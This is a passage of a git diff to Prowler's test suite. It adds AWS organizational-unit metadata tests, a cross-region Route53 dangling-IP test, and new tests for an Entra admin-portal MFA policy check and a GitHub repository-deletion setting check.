-56,6 +66,8 @@ def generate_finding_output( account_organization_uid="test-organization-id", account_organization_name="test-organization", account_tags={"test-tag": "test-value"}, + account_ou_uid=account_ou_uid, + account_ou_name=account_ou_name, uid="test-unique-finding", status=status, status_extended=status_extended, diff --git a/tests/lib/outputs/fixtures/metadata.json b/tests/lib/outputs/fixtures/metadata.json index a376d491a9..b26438aac8 100644 --- a/tests/lib/outputs/fixtures/metadata.json +++ b/tests/lib/outputs/fixtures/metadata.json @@ -1,10 +1,10 @@ { "Categories": [ - "cat-one", - "cat-two" + "encryption", + "logging" ], "CheckID": "iam_user_accesskey_unused", - "CheckTitle": "Ensure Access Keys unused are disabled", + "CheckTitle": "Access Keys unused should be disabled", "CheckType": [ "Software and Configuration Checks" ], @@ -25,14 +25,14 @@ "othercheck1", "othercheck2" ], - "Description": "Ensure Access Keys unused are disabled", + "Description": "Access Keys unused should be disabled", "Notes": "additional information", "Provider": "aws", "RelatedTo": [ "othercheck3", "othercheck4" ], - "RelatedUrl": "https://serviceofficialsiteorpageforthissubject", + "RelatedUrl": "", "Remediation": { "Code": { "CLI": "cli command or URL to the cli command location.", @@ -42,7 +42,7 @@ }, "Recommendation": { "Text": "Run sudo yum update and cross your fingers and toes.", - "Url": "https://myfp.com/recommendations/dangerous_things_and_how_to_fix_them.html" + "Url": "https://hub.prowler.com/check/iam_user_accesskey_unused" } }, "ResourceIdTemplate": "arn:partition:service:region:account-id:resource-id", diff --git a/tests/lib/outputs/ocsf/ocsf_test.py b/tests/lib/outputs/ocsf/ocsf_test.py index d465a3c0e4..16ff1ce317 100644 --- a/tests/lib/outputs/ocsf/ocsf_test.py +++ b/tests/lib/outputs/ocsf/ocsf_test.py @@ -65,7 +65,9 @@ class TestOCSF: assert output_data.finding_info.desc == findings[0].metadata.Description assert output_data.finding_info.title == findings[0].metadata.CheckTitle assert output_data.finding_info.uid == findings[0].uid - assert output_data.finding_info.types == ["test-type"] + assert output_data.finding_info.types == [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ] assert output_data.time == int(findings[0].timestamp.timestamp()) assert output_data.time_dt == findings[0].timestamp assert ( @@ -211,8 +213,8 @@ class TestOCSF: "status_detail": "status extended", "status_id": 1, "unmapped": { - "related_url": "test-url", - "categories": ["test-category"], + "related_url": "", + "categories": ["encryption"], "depends_on": ["test-dependency"], "related_to": ["test-related-to"], "additional_urls": [ @@ -232,7 +234,9 @@ class TestOCSF: "desc": "check description", "title": "service_test_check_id", "uid": "test-unique-finding", - "types": ["test-type"], + "types": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], }, "resources": [ { @@ -264,6 +268,8 @@ class TestOCSF: "org": { "name": "test-organization", "uid": "test-organization-id", + "ou_uid": "ou-abc1-12345678", + "ou_name": "Production/WebServices", }, "provider": "aws", "region": "eu-west-1", @@ -422,6 +428,8 @@ class TestOCSF: assert isinstance(cloud_organization, Organization) assert cloud_organization.uid == finding_output.account_organization_uid assert cloud_organization.name == finding_output.account_organization_name + assert cloud_organization.ou_uid == finding_output.account_ou_uid + assert cloud_organization.ou_name == finding_output.account_ou_name def test_finding_output_kubernetes(self): finding_output = generate_finding_output( diff --git a/tests/lib/scan/scan_test.py b/tests/lib/scan/scan_test.py index e6ff948ed7..b0fe82b7b2 100644 --- a/tests/lib/scan/scan_test.py +++ b/tests/lib/scan/scan_test.py @@ -27,15 +27,15 @@ finding = generate_finding_output( partition="aws", description="Description of the finding", risk="High", - related_url="http://example.com", + related_url="", remediation_recommendation_text="Recommendation text", - remediation_recommendation_url="http://example.com/remediation", + remediation_recommendation_url="https://hub.prowler.com/check/test_check", remediation_code_nativeiac="native-iac-code", remediation_code_terraform="terraform-code", remediation_code_other="other-code", remediation_code_cli="cli-code", compliance={"compliance_key": "compliance_value"}, - categories=["categorya", "categoryb"], + categories=["encryption", "logging"], depends_on=["dependency"], related_to=["related"], notes="Notes about the finding", diff --git a/tests/providers/aws/lib/organizations/organizations_test.py b/tests/providers/aws/lib/organizations/organizations_test.py index ad6667bca4..8c0def64ac 100644 --- a/tests/providers/aws/lib/organizations/organizations_test.py +++ b/tests/providers/aws/lib/organizations/organizations_test.py @@ -1,7 +1,11 @@ +from unittest.mock import MagicMock + import boto3 +from botocore.exceptions import ClientError from moto import mock_aws from prowler.providers.aws.lib.organizations.organizations import ( + _get_ou_metadata, get_organizations_metadata, parse_organizations_metadata, ) @@ -27,8 +31,10 @@ class Test_AWS_Organizations: ResourceId=account_id, Tags=[{"Key": "key", "Value": "value"}] ) - metadata, tags = get_organizations_metadata(account_id, boto3.Session()) - org = parse_organizations_metadata(metadata, tags) + metadata, tags, ou_metadata = get_organizations_metadata( + account_id, boto3.Session() + ) + org = parse_organizations_metadata(metadata, tags, ou_metadata) assert isinstance(org, AWSOrganizationsInfo) assert org.account_email == mockemail @@ -43,6 +49,8 @@ class Test_AWS_Organizations: ) assert org.organization_id == org_id assert org.account_tags == {"key": "value"} + assert org.account_ou_id == "" + assert org.account_ou_name == "" def test_parse_organizations_metadata(self): tags = {"Tags": [{"Key": "test-key", "Value": "test-value"}]} @@ -71,3 +79,244 @@ class Test_AWS_Organizations: ) assert org.organization_arn == arn assert org.account_tags == {"test-key": "test-value"} + assert org.account_ou_id == "" + assert org.account_ou_name == "" + + @mock_aws + def test_organizations_with_ou(self): + client = boto3.client("organizations", region_name=AWS_REGION_US_EAST_1) + + client.create_organization(FeatureSet="ALL") + account_id = client.create_account( + AccountName="ou-account", Email="ou@example.org" + )["CreateAccountStatus"]["AccountId"] + + root_id = client.list_roots()["Roots"][0]["Id"] + ou = client.create_organizational_unit(ParentId=root_id, Name="SecurityOU")[ + "OrganizationalUnit" + ] + + client.move_account( + AccountId=account_id, + SourceParentId=root_id, + DestinationParentId=ou["Id"], + ) + + metadata, tags, ou_metadata = get_organizations_metadata( + account_id, boto3.Session() + ) + org = parse_organizations_metadata(metadata, tags, ou_metadata) + + assert org.account_ou_id == ou["Id"] + assert org.account_ou_name == "SecurityOU" + + @mock_aws + def test_organizations_with_nested_ou(self): + client = boto3.client("organizations", region_name=AWS_REGION_US_EAST_1) + + client.create_organization(FeatureSet="ALL") + account_id = client.create_account( + AccountName="nested-account", Email="nested@example.org" + )["CreateAccountStatus"]["AccountId"] + + root_id = client.list_roots()["Roots"][0]["Id"] + parent_ou = client.create_organizational_unit( + ParentId=root_id, Name="Infrastructure" + )["OrganizationalUnit"] + child_ou = client.create_organizational_unit( + ParentId=parent_ou["Id"], Name="Security" + )["OrganizationalUnit"] + + client.move_account( + AccountId=account_id, + SourceParentId=root_id, + DestinationParentId=child_ou["Id"], + ) + + metadata, tags, ou_metadata = get_organizations_metadata( + account_id, boto3.Session() + ) + org = parse_organizations_metadata(metadata, tags, ou_metadata) + + assert org.account_ou_id == child_ou["Id"] + assert org.account_ou_name == "Infrastructure/Security" + + def test_parse_organizations_metadata_with_ou(self): + tags = {"Tags": []} + metadata = { + "Account": { + "Id": AWS_ACCOUNT_NUMBER, + "Arn": f"arn:aws:organizations::123456789012:account/o-abc123/{AWS_ACCOUNT_NUMBER}", + "Email": "test@example.org", + "Name": "test-account", + "Status": "ACTIVE", + } + } + ou_metadata = {"ou_id": "ou-xxxx-12345678", "ou_path": "Infra/Security"} + + org = parse_organizations_metadata(metadata, tags, ou_metadata) + + assert org.account_ou_id == "ou-xxxx-12345678" + assert org.account_ou_name == "Infra/Security" + + def test_get_ou_metadata_api_error_returns_empty_dict(self): + client = MagicMock() + client.list_parents.side_effect = ClientError( + {"Error": {"Code": "AccessDeniedException", "Message": "Access denied"}}, + "ListParents", + ) + + result = _get_ou_metadata(client, "123456789012") + + assert result == {} + + def test_get_ou_metadata_describe_ou_error_returns_empty_dict(self): + client = MagicMock() + client.list_parents.return_value = { + "Parents": [{"Id": "ou-xxxx-12345678", "Type": "ORGANIZATIONAL_UNIT"}] + } + client.describe_organizational_unit.side_effect = ClientError( + { + "Error": { + "Code": "OrganizationalUnitNotFoundException", + "Message": "OU not found", + } + }, + "DescribeOrganizationalUnit", + ) + + result = _get_ou_metadata(client, "123456789012") + + assert result == {} + + def test_get_ou_metadata_deeply_nested_three_levels(self): + client = MagicMock() + # First call: account's parent is child OU + # Second call: child OU's parent is mid OU + # Third call: mid OU's parent is top OU + # Fourth call: top OU's parent is ROOT + client.list_parents.side_effect = [ + {"Parents": [{"Id": "ou-child", "Type": "ORGANIZATIONAL_UNIT"}]}, + {"Parents": [{"Id": "ou-mid", "Type": "ORGANIZATIONAL_UNIT"}]}, + {"Parents": [{"Id": "ou-top", "Type": "ORGANIZATIONAL_UNIT"}]}, + {"Parents": [{"Id": "r-root", "Type": "ROOT"}]}, + ] + client.describe_organizational_unit.side_effect = [ + {"OrganizationalUnit": {"Id": "ou-child", "Name": "NonProd"}}, + {"OrganizationalUnit": {"Id": "ou-mid", "Name": "Workloads"}}, + {"OrganizationalUnit": {"Id": "ou-top", "Name": "Root"}}, + ] + + result = _get_ou_metadata(client, "123456789012") + + assert result == {"ou_id": "ou-child", "ou_path": "Root/Workloads/NonProd"} + + @mock_aws + def test_get_organizations_metadata_api_failure_returns_empty_tuples(self): + # Use a non-existent account ID without creating an organization + metadata, tags, ou_metadata = get_organizations_metadata( + "999999999999", boto3.Session() + ) + + assert metadata == {} + assert tags == {} + assert ou_metadata == {} + + def test_parse_organizations_metadata_with_empty_ou_metadata(self): + tags = {"Tags": []} + metadata = { + "Account": { + "Id": AWS_ACCOUNT_NUMBER, + "Arn": f"arn:aws:organizations::123456789012:account/o-abc123/{AWS_ACCOUNT_NUMBER}", + "Email": "test@example.org", + "Name": "test-account", + "Status": "ACTIVE", + } + } + # Simulates the error path where _get_ou_metadata returns {} + ou_metadata = {} + + org = parse_organizations_metadata(metadata, tags, ou_metadata) + + assert org.account_ou_id == "" + assert org.account_ou_name == "" + + def test_parse_organizations_metadata_with_none_ou_metadata(self): + tags = {"Tags": []} + metadata = { + "Account": { + "Id": AWS_ACCOUNT_NUMBER, + "Arn": f"arn:aws:organizations::123456789012:account/o-abc123/{AWS_ACCOUNT_NUMBER}", + "Email": "test@example.org", + "Name": "test-account", + "Status": "ACTIVE", + } + } + + org = parse_organizations_metadata(metadata, tags, None) + + assert org.account_ou_id == "" + assert org.account_ou_name == "" + + @mock_aws + def test_end_to_end_ou_metadata_flows_to_organizations_info(self): + """Integration test: exercises get_organizations_metadata → + parse_organizations_metadata with a nested OU, verifying the full + data flow that AwsProvider.get_organizations_info relies on.""" + client = boto3.client("organizations", region_name=AWS_REGION_US_EAST_1) + + client.create_organization(FeatureSet="ALL") + account_id = client.create_account( + AccountName="e2e-account", Email="e2e@example.org" + )["CreateAccountStatus"]["AccountId"] + + root_id = client.list_roots()["Roots"][0]["Id"] + top_ou = client.create_organizational_unit(ParentId=root_id, Name="Workloads")[ + "OrganizationalUnit" + ] + child_ou = client.create_organizational_unit( + ParentId=top_ou["Id"], Name="NonProd" + )["OrganizationalUnit"] + + client.move_account( + AccountId=account_id, + SourceParentId=root_id, + DestinationParentId=child_ou["Id"], + ) + client.tag_resource( + ResourceId=account_id, + Tags=[{"Key": "Environment", "Value": "dev"}], + ) + + # Full flow: get → parse → AWSOrganizationsInfo + metadata, tags, ou_metadata = get_organizations_metadata( + account_id, boto3.Session() + ) + org = parse_organizations_metadata(metadata, tags, ou_metadata) + + assert isinstance(org, AWSOrganizationsInfo) + assert org.account_name == "e2e-account" + assert org.account_email == "e2e@example.org" + assert org.account_tags == {"Environment": "dev"} + assert org.account_ou_id == child_ou["Id"] + assert org.account_ou_name == "Workloads/NonProd" + + @mock_aws + def test_end_to_end_account_under_root_has_empty_ou(self): + """Integration test: account directly under Root should produce + empty OU fields, not errors.""" + client = boto3.client("organizations", region_name=AWS_REGION_US_EAST_1) + + client.create_organization(FeatureSet="ALL") + account_id = client.create_account( + AccountName="root-account", Email="root@example.org" + )["CreateAccountStatus"]["AccountId"] + + metadata, tags, ou_metadata = get_organizations_metadata( + account_id, boto3.Session() + ) + org = parse_organizations_metadata(metadata, tags, ou_metadata) + + assert isinstance(org, AWSOrganizationsInfo) + assert org.account_ou_id == "" + assert org.account_ou_name == "" diff --git a/tests/providers/aws/lib/s3/s3_test.py b/tests/providers/aws/lib/s3/s3_test.py index b639a847cd..6112c467b2 100644 --- a/tests/providers/aws/lib/s3/s3_test.py +++ b/tests/providers/aws/lib/s3/s3_test.py @@ -39,15 +39,15 @@ FINDING = generate_finding_output( partition="aws", description="Description of the finding", risk="High", - related_url="http://example.com", + related_url="", remediation_recommendation_text="Recommendation text", - remediation_recommendation_url="http://example.com/remediation", + remediation_recommendation_url="", remediation_code_nativeiac="native-iac-code", remediation_code_terraform="terraform-code", remediation_code_other="other-code", remediation_code_cli="cli-code", compliance={"compliance_key": "compliance_value"}, - categories=["categorya", "categoryb"], + categories=["encryption", "logging"], depends_on=["dependency"], related_to=["related"], notes="Notes about the finding", diff --git a/tests/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover_test.py b/tests/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover_test.py index 8d05e64a6e..63cc9193d9 100644 --- a/tests/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover_test.py +++ b/tests/providers/aws/services/route53/route53_dangling_ip_subdomain_takeover/route53_dangling_ip_subdomain_takeover_test.py @@ -3,7 +3,11 @@ from unittest import mock from boto3 import client, resource from moto import mock_aws -from tests.providers.aws.utils import AWS_REGION_US_EAST_1, set_mocked_aws_provider +from tests.providers.aws.utils import ( + AWS_REGION_US_EAST_1, + AWS_REGION_US_WEST_2, + set_mocked_aws_provider, +) HOSTED_ZONE_NAME = "testdns.aws.com." @@ -309,7 +313,10 @@ class Test_route53_dangling_ip_subdomain_takeover: from prowler.providers.aws.services.ec2.ec2_service import EC2 from prowler.providers.aws.services.route53.route53_service import Route53 - aws_provider = set_mocked_aws_provider([AWS_REGION_US_EAST_1]) + aws_provider = set_mocked_aws_provider( + [AWS_REGION_US_EAST_1], + expected_checks=["route53_dangling_ip_subdomain_takeover"], + ) with mock.patch( "prowler.providers.common.provider.Provider.get_global_provider", @@ -387,7 +394,10 @@ class Test_route53_dangling_ip_subdomain_takeover: from prowler.providers.aws.services.ec2.ec2_service import EC2 from prowler.providers.aws.services.route53.route53_service import Route53 - aws_provider = set_mocked_aws_provider([AWS_REGION_US_EAST_1]) + aws_provider = set_mocked_aws_provider( + [AWS_REGION_US_EAST_1], + expected_checks=["route53_dangling_ip_subdomain_takeover"], + ) with mock.patch( "prowler.providers.common.provider.Provider.get_global_provider", @@ -426,3 +436,69 @@ class Test_route53_dangling_ip_subdomain_takeover: result[0].resource_arn == f"arn:{aws_provider.identity.partition}:route53:::hostedzone/{zone_id.replace('/hostedzone/', '')}" ) + + @mock_aws + def test_hosted_zone_eip_cross_region(self): + """EIP in us-west-2 referenced by Route53 A record should PASS even when auditing us-east-1 only.""" + conn = client("route53", region_name=AWS_REGION_US_EAST_1) + ec2_west = client("ec2", region_name=AWS_REGION_US_WEST_2) + + address = "17.5.7.3" + ec2_west.allocate_address(Domain="vpc", Address=address) + + zone_id = conn.create_hosted_zone( + Name=HOSTED_ZONE_NAME, CallerReference=str(hash("foo")) + )["HostedZone"]["Id"] + + record_set_name = "foo.bar.testdns.aws.com." + record_ip = address + conn.change_resource_record_sets( + HostedZoneId=zone_id, + ChangeBatch={ + "Changes": [ + { + "Action": "CREATE", + "ResourceRecordSet": { + "Name": record_set_name, + "Type": "A", + "ResourceRecords": [{"Value": record_ip}], + }, + } + ] + }, + ) + from prowler.providers.aws.services.ec2.ec2_service import EC2 + from prowler.providers.aws.services.route53.route53_service import Route53 + + # Audit only us-east-1 but enable both regions so Route53 finds the cross-region EIP + aws_provider = set_mocked_aws_provider( + audited_regions=[AWS_REGION_US_EAST_1], + enabled_regions={AWS_REGION_US_EAST_1, AWS_REGION_US_WEST_2}, + expected_checks=["route53_dangling_ip_subdomain_takeover"], + ) + + with mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=aws_provider, + ): + with mock.patch( + "prowler.providers.aws.services.route53.route53_dangling_ip_subdomain_takeover.route53_dangling_ip_subdomain_takeover.route53_client", + new=Route53(aws_provider), + ): + with mock.patch( + "prowler.providers.aws.services.route53.route53_dangling_ip_subdomain_takeover.route53_dangling_ip_subdomain_takeover.ec2_client", + new=EC2(aws_provider), + ): + from prowler.providers.aws.services.route53.route53_dangling_ip_subdomain_takeover.route53_dangling_ip_subdomain_takeover import ( + route53_dangling_ip_subdomain_takeover, + ) + + check = route53_dangling_ip_subdomain_takeover() + result = check.execute() + + assert len(result) == 1 + assert result[0].status == "PASS" + assert ( + result[0].status_extended + == f"Route53 record {record_ip} (name: {record_set_name}) in Hosted Zone {HOSTED_ZONE_NAME} is not a dangling IP." + ) diff --git a/tests/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals_test.py b/tests/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals_test.py new file mode 100644 index 0000000000..3909b80568 --- /dev/null +++ b/tests/providers/azure/services/entra/entra_conditional_access_policy_require_mfa_for_admin_portals/entra_conditional_access_policy_require_mfa_for_admin_portals_test.py @@ -0,0 +1,280 @@ +from unittest import mock +from uuid import uuid4 + +from tests.providers.azure.azure_fixtures import DOMAIN, set_mocked_azure_provider + + +class Test_entra_conditional_access_policy_require_mfa_for_admin_portals: + def test_entra_no_subscriptions(self): + entra_client = mock.MagicMock + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_azure_provider(), + ), + mock.patch( + "prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_client", + new=entra_client, + ), + ): + from prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals import ( + entra_conditional_access_policy_require_mfa_for_admin_portals, + ) + + entra_client.conditional_access_policy = {} + + check = entra_conditional_access_policy_require_mfa_for_admin_portals() + result = check.execute() + assert len(result) == 0 + + def test_entra_tenant_no_policies(self): + entra_client = mock.MagicMock + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_azure_provider(), + ), + mock.patch( + "prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_client", + new=entra_client, + ), + ): + from prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals import ( + entra_conditional_access_policy_require_mfa_for_admin_portals, + ) + + entra_client.conditional_access_policy = {DOMAIN: {}} + + check = entra_conditional_access_policy_require_mfa_for_admin_portals() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert result[0].subscription == f"Tenant: {DOMAIN}" + assert result[0].resource_name == "Conditional Access Policy" + assert result[0].resource_id == "Conditional Access Policy" + assert ( + result[0].status_extended + == "Conditional Access Policy does not require MFA for Microsoft Admin Portals." + ) + + def test_entra_tenant_policy_no_mfa(self): + entra_client = mock.MagicMock + policy_id = str(uuid4()) + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_azure_provider(), + ), + mock.patch( + "prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_client", + new=entra_client, + ), + ): + from prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals import ( + entra_conditional_access_policy_require_mfa_for_admin_portals, + ) + from prowler.providers.azure.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + policy = ConditionalAccessPolicy( + id=policy_id, + name="Test Policy", + state="enabled", + users={"include": ["All"]}, + target_resources={"include": ["MicrosoftAdminPortals"]}, + access_controls={"grant": ["grant"]}, + ) + + entra_client.conditional_access_policy = {DOMAIN: {policy_id: policy}} + + check = entra_conditional_access_policy_require_mfa_for_admin_portals() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert result[0].subscription == f"Tenant: {DOMAIN}" + assert result[0].resource_name == "Conditional Access Policy" + assert result[0].resource_id == "Conditional Access Policy" + assert ( + result[0].status_extended + == "Conditional Access Policy does not require MFA for Microsoft Admin Portals." + ) + + def test_entra_tenant_policy_mfa(self): + entra_client = mock.MagicMock + policy_id = str(uuid4()) + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_azure_provider(), + ), + mock.patch( + "prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_client", + new=entra_client, + ), + ): + from prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals import ( + entra_conditional_access_policy_require_mfa_for_admin_portals, + ) + from prowler.providers.azure.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + policy = ConditionalAccessPolicy( + id=policy_id, + name="Test Policy", + state="enabled", + users={"include": ["All"]}, + target_resources={"include": ["MicrosoftAdminPortals"]}, + access_controls={"grant": ["grant", "MFA"]}, + ) + + entra_client.conditional_access_policy = {DOMAIN: {policy_id: policy}} + + check = entra_conditional_access_policy_require_mfa_for_admin_portals() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "PASS" + assert result[0].subscription == f"Tenant: {DOMAIN}" + assert result[0].resource_name == "Test Policy" + assert result[0].resource_id == policy_id + assert ( + result[0].status_extended + == "Conditional Access Policy requires MFA for Microsoft Admin Portals." + ) + + def test_entra_tenant_policy_mfa_disabled(self): + entra_client = mock.MagicMock + policy_id = str(uuid4()) + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_azure_provider(), + ), + mock.patch( + "prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_client", + new=entra_client, + ), + ): + from prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals import ( + entra_conditional_access_policy_require_mfa_for_admin_portals, + ) + from prowler.providers.azure.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + policy = ConditionalAccessPolicy( + id=policy_id, + name="Test Policy", + state="disabled", + users={"include": ["All"]}, + target_resources={"include": ["MicrosoftAdminPortals"]}, + access_controls={"grant": ["grant", "MFA"]}, + ) + + entra_client.conditional_access_policy = {DOMAIN: {policy_id: policy}} + + check = entra_conditional_access_policy_require_mfa_for_admin_portals() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert result[0].subscription == f"Tenant: {DOMAIN}" + assert result[0].resource_name == "Conditional Access Policy" + assert result[0].resource_id == "Conditional Access Policy" + assert ( + result[0].status_extended + == "Conditional Access Policy does not require MFA for Microsoft Admin Portals." + ) + + def test_entra_tenant_policy_mfa_no_target(self): + entra_client = mock.MagicMock + policy_id = str(uuid4()) + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_azure_provider(), + ), + mock.patch( + "prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_client", + new=entra_client, + ), + ): + from prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals import ( + entra_conditional_access_policy_require_mfa_for_admin_portals, + ) + from prowler.providers.azure.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + policy = ConditionalAccessPolicy( + id=policy_id, + name="Test Policy", + state="enabled", + users={"include": ["All"]}, + target_resources={"include": []}, + access_controls={"grant": ["grant", "MFA"]}, + ) + + entra_client.conditional_access_policy = {DOMAIN: {policy_id: policy}} + + check = entra_conditional_access_policy_require_mfa_for_admin_portals() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert result[0].subscription == f"Tenant: {DOMAIN}" + assert result[0].resource_name == "Conditional Access Policy" + assert result[0].resource_id == "Conditional Access Policy" + assert ( + result[0].status_extended + == "Conditional Access Policy does not require MFA for Microsoft Admin Portals." + ) + + def test_entra_tenant_policy_mfa_no_users(self): + entra_client = mock.MagicMock + policy_id = str(uuid4()) + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_azure_provider(), + ), + mock.patch( + "prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_client", + new=entra_client, + ), + ): + from prowler.providers.azure.services.entra.entra_conditional_access_policy_require_mfa_for_admin_portals.entra_conditional_access_policy_require_mfa_for_admin_portals import ( + entra_conditional_access_policy_require_mfa_for_admin_portals, + ) + from prowler.providers.azure.services.entra.entra_service import ( + ConditionalAccessPolicy, + ) + + policy = ConditionalAccessPolicy( + id=policy_id, + name="Test Policy", + state="enabled", + users={"include": []}, + target_resources={"include": ["MicrosoftAdminPortals"]}, + access_controls={"grant": ["grant", "MFA"]}, + ) + + entra_client.conditional_access_policy = {DOMAIN: {policy_id: policy}} + + check = entra_conditional_access_policy_require_mfa_for_admin_portals() + result = check.execute() + assert len(result) == 1 + assert result[0].status == "FAIL" + assert result[0].subscription == f"Tenant: {DOMAIN}" + assert result[0].resource_name == "Conditional Access Policy" + assert result[0].resource_id == "Conditional Access Policy" + assert ( + result[0].status_extended + == "Conditional Access Policy does not require MFA for Microsoft Admin Portals." + ) diff --git a/tests/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited_test.py b/tests/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited_test.py new file mode 100644 index 0000000000..a9991ab2d1 --- /dev/null +++ b/tests/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited_test.py @@ -0,0 +1,186 @@ +from unittest import mock + +from prowler.providers.github.services.organization.organization_service import Org +from tests.providers.github.github_fixtures import set_mocked_github_provider + + +class Test_organization_repository_deletion_limited: + def test_no_organizations(self): + organization_client = mock.MagicMock + organization_client.organizations = {} + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_github_provider(), + ), + mock.patch( + "prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited.organization_client", + new=organization_client, + ), + ): + from prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited import ( + organization_repository_deletion_limited, + ) + + check = organization_repository_deletion_limited() + result = check.execute() + assert len(result) == 0 + + def test_repository_deletion_disabled(self): + organization_client = mock.MagicMock + org_name = "test-organization" + organization_client.organizations = { + 1: Org( + id=1, + name=org_name, + mfa_required=None, + members_can_delete_repositories=False, + ), + } + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_github_provider(), + ), + mock.patch( + "prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited.organization_client", + new=organization_client, + ), + ): + from prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited import ( + organization_repository_deletion_limited, + ) + + check = organization_repository_deletion_limited() + result = check.execute() + assert len(result) == 1 + assert result[0].resource_name == org_name + assert result[0].status == "PASS" + assert ( + result[0].status_extended + == f"Organization {org_name} restricts repository deletion/transfer to trusted users." + ) + + def test_repository_deletion_enabled(self): + organization_client = mock.MagicMock + org_name = "test-organization" + organization_client.organizations = { + 1: Org( + id=1, + name=org_name, + mfa_required=None, + members_can_delete_repositories=True, + ), + } + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_github_provider(), + ), + mock.patch( + "prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited.organization_client", + new=organization_client, + ), + ): + from prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited import ( + organization_repository_deletion_limited, + ) + + check = organization_repository_deletion_limited() + result = check.execute() + assert len(result) == 1 + assert result[0].resource_name == org_name + assert result[0].status == "FAIL" + assert ( + result[0].status_extended + == f"Organization {org_name} allows members to delete/transfer repositories." + ) + + def test_repository_deletion_setting_not_available(self): + organization_client = mock.MagicMock + org_name = "test-organization" + organization_client.organizations = { + 1: Org( + id=1, + name=org_name, + mfa_required=None, + members_can_delete_repositories=None, + ), + } + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + return_value=set_mocked_github_provider(), + ), + mock.patch( + "prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited.organization_client", + new=organization_client, + ), + ): + from prowler.providers.github.services.organization.organization_repository_deletion_limited.organization_repository_deletion_limited import ( + organization_repository_deletion_limited, + ) + + check = organization_repository_deletion_limited() + result = check.execute() + assert len(result) == 0 + + def test_multiple_organizations_mixed_settings(self): + organization_client = mock.MagicMock + org_name_1 = "test-organization-1" + org_name_2 = "test-organization-2" + org_name_3 = "test-organization-3" + organization_client.organizations = { + 1: Org( + id=1, + name=org_name_1, + mfa_required=None, + members_can_delete_repositories=False, + ), + 2: Org( + id=2, + name=org_name_2, + mfa_required=None, + members_can_delete_repositories=True, + ), + 3: Org( + id=3, + name=org_name_3, + mfa_required=None, + members_can_delete_repositories=None, + ), + } + + with ( + mock.patch( + "prowler.providers.common.provider.Provider.get_global_provider", + 